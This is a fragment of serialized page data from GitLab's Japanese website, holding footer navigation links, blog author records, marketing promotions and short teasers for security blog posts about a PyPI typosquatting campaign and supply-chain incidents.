contribute",{"twitter":2421,"facebook":2422,"youtube":2423,"linkedin":2424},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[2426,2471,2524,2567,2601],{"title":2117,"links":2427,"subMenu":2442},[2428,2432,2437],{"text":2429,"config":2430},"プランの表示",{"href":2119,"dataGaName":2431,"dataGaLocation":2409},"view plans",{"text":2433,"config":2434},"Premiumを選ぶ理由",{"href":2435,"dataGaName":2436,"dataGaLocation":2409},"/ja-jp/pricing/premium/","why premium",{"text":2438,"config":2439},"Ultimateを選ぶ理由",{"href":2440,"dataGaName":2441,"dataGaLocation":2409},"/ja-jp/pricing/ultimate/","why ultimate",[2443],{"title":2292,"links":2444},[2445,2447,2449,2451,2456,2461,2466],{"text":2292,"config":2446},{"href":2301,"dataGaName":1978,"dataGaLocation":2409},{"text":2304,"config":2448},{"href":2306,"dataGaName":2307,"dataGaLocation":2409},{"text":2309,"config":2450},{"href":2311,"dataGaName":2312,"dataGaLocation":2409},{"text":2452,"config":2453},"ステータス",{"href":2454,"dataGaName":2455,"dataGaLocation":2409},"https://status.gitlab.com/","status",{"text":2457,"config":2458},"利用規約",{"href":2459,"dataGaName":2460,"dataGaLocation":2409},"/terms/","terms of use",{"text":2462,"config":2463},"プライバシーに関する声明",{"href":2464,"dataGaName":2465,"dataGaLocation":2409},"/ja-jp/privacy/","privacy statement",{"text":2467,"config":2468},"Cookie 優先設定",{"dataGaName":2469,"dataGaLocation":2409,"id":2470,"isOneTrustButton":204},"cookie preferences","ot-sdk-btn",{"title":2015,"links":2472,"subMenu":2481},[2473,2477],{"text":2474,"config":2475},"DevSecOpsプラットフォーム",{"href":1997,"dataGaName":2476,"dataGaLocation":2409},"devsecops platform",{"text":2478,"config":2479},"AI支援開発",{"href":2004,"dataGaName":2480,"dataGaLocation":2409},"ai-assisted development",[2482],{"title":2483,"links":2484},"トピック",[2485,2489,2494,2499,2504,2509,2514,2519],{"text":2035,"config":2486},{"href":2487,"dataGaName":2488,"dataGaLocation":2409},"/ja-jp/topics/ci-cd/","cicd",{"text":2490,"config":2491},"GitOps",{"href":2492,"dataGaName":2493,"dataGaLocation":2409},"/ja-jp/topics/gitops/","gitops",{"text":2495,"config":2496},"DevOps",{"href":2497,"dataGaName":2498,"dataGaLocation":2409},"/ja-jp/topics/devops/","devops",{"text":2500,"config":2501},"バージョン管理",{"href":2502,"dataGaName":2503,"dataGaLocation":2409},"/ja-jp/topics/version-control/","version control",{"text":2505,"config":2506},"DevSecOps",{"href":2507,"dataGaName":2508,"dataGaLocation":2409},"/ja-jp/topics/devsecops/","devsecops",{"text":2510,"config":2511},"クラウドネイティブ",{"href":2512,"dataGaName":2513,"dataGaLocation":2409},"/ja-jp/topics/cloud-native/","cloud native",{"text":2515,"config":2516},"コーディングのためのAI",{"href":2517,"dataGaName":2518,"dataGaLocation":2409},"/ja-jp/topics/devops/ai-for-coding/","ai for coding",{"text":2520,"config":2521},"エージェント型AI",{"href":2522,"dataGaName":2523,"dataGaLocation":2409},"/ja-jp/topics/agentic-ai/","agentic ai",{"title":2525,"links":2526},"ソリューション",[2527,2530,2532,2537,2541,2544,2547,2550,2552,2554,2557,2562],{"text":2060,"config":2528},{"href":2055,"dataGaName":2529,"dataGaLocation":2409},"Application Security Testing",{"text":2047,"config":2531},{"href":2031,"dataGaName":2032,"dataGaLocation":2409},{"text":2533,"config":2534},"アジャイル開発",{"href":2535,"dataGaName":2536,"dataGaLocation":2409},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":2538,"config":2539},"SCM",{"href":2044,"dataGaName":2540,"dataGaLocation":2409},"source code management",{"text":2035,"config":2542},{"href":2037,"dataGaName":2543,"dataGaLocation":2409},"continuous integration & delivery",{"text":2086,"config":2545},{"href":2088,"dataGaName":2546,"dataGaLocation":2409},"value stream management",{"text":2490,"config":2548},{"href":2549,"dataGaName":2493,"dataGaLocation":2409},"/ja-jp/solutions/gitops/",{"text":2099,"config":2551},{"href":2102,"dataGaName":2103,"dataGaLocation":2409},{"text":2105,"config":2553},{"href":2108,"dataGaName":2109,"dataGaLocation":2409},{"text":2555,"config":2556},"公共機関",{"href":2114,"dataGaName":2115,"dataGaLocation":2409},{"text":2558,"config":2559},"教育",{"href":2560,"dataGaName":2561,"dataGaLocation":2409},"/ja-jp/solutions/education/","education",{"text":2563,"config":2564},"金融サービス",{"href":2565,"dataGaName":2566,"dataGaLocation":2409},"/ja-jp/solutions/finance/","financial services",{"title":2568,"links":2569},"リソース",[2570,2572,2574,2576,2580,2582,2585,2587,2589,2591,2593,2595,2597,2599],{"text":2135,"config":2571},{"href":2137,"dataGaName":2138,"dataGaLocation":2409},{"text":2140,"config":2573},{"href":2142,"dataGaName":2143,"dataGaLocation":2409},{"text":2145,"config":2575},{"href":2147,"dataGaName":2148,"dataGaLocation":2409},{"text":2150,"config":2577},{"href":2578,"dataGaName":2579,"dataGaLocation":2409},"https://docs.gitlab.com/ja-jp","docs",{"text":2173,"config":2581},{"href":2175,"dataGaName":2176,"dataGaLocation":2409},{"text":2583,"config":2584},"最新リリース",{"href":2233,"dataGaName":2234,"dataGaLocation":2409},{"text":2168,"config":2586},{"href":2170,"dataGaName":2171,"dataGaLocation":2409},{"text":2187,"config":2588},{"href":2189,"dataGaName":2190,"dataGaLocation":2409},{"text":2195,"config":2590},{"href":2197,"dataGaName":2198,"dataGaLocation":2409},{"text":2200,"config":2592},{"href":2202,"dataGaName":2203,"dataGaLocation":2409},{"text":2205,"config":2594},{"href":2207,"dataGaName":2208,"dataGaLocation":2409},{"text":2210,"config":2596},{"href":2212,"dataGaName":2213,"dataGaLocation":2409},{"text":2215,"config":2598},{"href":2217,"dataGaName":2218,"dataGaLocation":2409},{"text":2220,"config":2600},{"href":2222,"dataGaName":2223,"dataGaLocation":2409},{"title":2602,"links":2603},"会社情報",[2604,2606,2608,2610,2612,2614,2618,2623,2625,2627,2629],{"text":2244,"config":2605},{"href":2246,"dataGaName":2238,"dataGaLocation":2409},{"text":2249,"config":2607},{"href":2251,"dataGaName":2252,"dataGaLocation":2409},{"text":2257,"config":2609},{"href":2259,"dataGaName":2260,"dataGaLocation":2409},{"text":2262,"config":2611},{"href":2264,"dataGaName":2265,"dataGaLocation":2409},{"text":2267,"config":2613},{"href":2269,"dataGaName":2270,"dataGaLocation":2409},{"text":2615,"config":2616},"Sustainability",{"href":2617,"dataGaName":2615,"dataGaLocation":2409},"/sustainability/",{"text":2619,"config":2620},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":2621,"dataGaName":2622,"dataGaLocation":2409},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":2272,"config":2624},{"href":2274,"dataGaName":2275,"dataGaLocation":2409},{"text":2282,"config":2626},{"href":2284,"dataGaName":2285,"dataGaLocation":2409},{"text":2287,"config":2628},{"href":2289,"dataGaName":2290,"dataGaLocation":2409},{"text":2630,"config":2631},"現代奴隷制の透明性に関する声明",{"href":2632,"dataGaName":2633,"dataGaLocation":2409},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":2635},[2636,2638,2641],{"text":2457,"config":2637},{"href":2459,"dataGaName":2460,"dataGaLocation":2409},{"text":2639,"config":2640},"Cookieの設定",{"dataGaName":2469,"dataGaLocation":2409,"id":2470,"isOneTrustButton":204},{"text":2462,"config":2642},{"href":2464,"dataGaName":2465,"dataGaLocation":2409},[2644,2658],{"id":2645,"title":7,"body":1947,"config":2646,"content":2648,"description":1947,"extension":2652,"meta":2653,"navigation":204,"path":2654,"seo":2655,"stem":2656,"__hash__":2657},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":2647},"BlogAuthor",{"name":7,"config":2649},{"headshot":2650,"ctfId":2651},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX","yml",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",{"id":2659,"title":8,"body":1947,"config":2660,"content":2662,"description":1947,"extension":2652,"meta":2665,"navigation":204,"path":2666,"seo":2667,"stem":2668,"__hash__":2669},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":2647,"gitlabHandle":2661},"dabeles",{"name":8,"config":2663},{"headshot":2664},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",[2671,2679,2687],{"title":2672,"description":2673,"heroImage":2674,"category":1943,"date":2675,"authors":2676,"slug":2678,"externalUrl":1947},"PyPIタイポスクワッティングを悪用したShai-Hulud模倣攻撃、Python開発者を狙う","GitLabの脆弱性リサーチチームが、PyPIを標的とした新たなPythonサプライチェーン攻撃を発見しました。悪意あるパッケージがShai-Huludワームを展開し、主要なクラウドプロバイダーのCI/CDシステムから認証情報を窃取します。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-06-09",[2677,8],"Dinesh Bolkensteyn","shai-hulud-copycat-campaign-targets-python-developers",{"title":2680,"description":2681,"heroImage":2682,"category":1943,"date":2683,"authors":2684,"slug":2686,"externalUrl":1947},"GitLab CI/CDとDuoで自動検知テストフレームワークを構築する","GitLabのSignals Engineeringチームが構築したWATCHフレームワークを通じて、セキュリティ監視パイプラインを継続的に検証する方法をご紹介します。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","2026-04-30",[2685],"Evan Baltman","automated-detection-testing-framework",{"title":2688,"description":2689,"heroImage":2674,"category":1943,"date":2690,"authors":2691,"slug":2693,"externalUrl":1947},"3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ","2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。","2026-04-07",[2692],"Grant Hickman","pipeline-security-lessons-from-march-supply-chain-incidents",{"promotions":2695},[2696,2710,2722,2733],{"id":2697,"categories":2698,"header":2700,"text":2701,"button":2702,"image":2707},"ai-modernization",[2699],"ai","AIの真価、組織全体で発揮できていますか？","所要時間は5分以内です",{"text":2703,"config":2704},"AI成熟度スコアを確認する",{"href":2705,"dataGaName":2706,"dataGaLocation":2176},"/ja-jp/assessments/ai-modernization-assessment/","modernization assessment",{"config":2708},{"src":2709},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":2711,"categories":2712,"header":2714,"text":2701,"button":2715,"image":2719},"devops-modernization",[2713,2508],"product","単にツールを管理するだけでなく、イノベーションを提供していますか？",{"text":2716,"config":2717},"DevOps成熟度スコアを確認しましょう",{"href":2718,"dataGaName":2706,"dataGaLocation":2176},"/ja-jp/assessments/devops-modernization-assessment/",{"config":2720},{"src":2721},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":2723,"categories":2724,"header":2725,"text":2701,"button":2726,"image":2730},"security-modernization",[1958],"スピードのためにセキュリティを犠牲にしていませんか？",{"text":2727,"config":2728},"セキュリティ成熟度スコアを確認しましょう",{"href":2729,"dataGaName":2706,"dataGaLocation":2176},"/ja-jp/assessments/security-modernization-assessment/",{"config":2731},{"src":2732},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":2734,"paths":2735,"header":2738,"text":2739,"button":2740,"image":2745},"github-azure-migration",[2736,2737],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","チームはGitHubのAzure移行に対応できていますか？","GitHubはすでにAzureを基盤として再構築を進めています。それがあなたのチームにとって何を意味するのか、ご確認ください。",{"text":2741,"config":2742},"GitLabとGitHubの比較を見る",{"href":2743,"dataGaName":2744,"dataGaLocation":2176},"/ja-jp/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":2746},{"src":2721},{"header":2748,"blurb":2749,"button":2750,"secondaryButton":2754},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":1970,"config":2751},{"href":2752,"dataGaName":1973,"dataGaLocation":2753},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/ja-jp/","feature",{"text":2292,"config":2755},{"href":2301,"dataGaName":1978,"dataGaLocation":2753},1786803792063]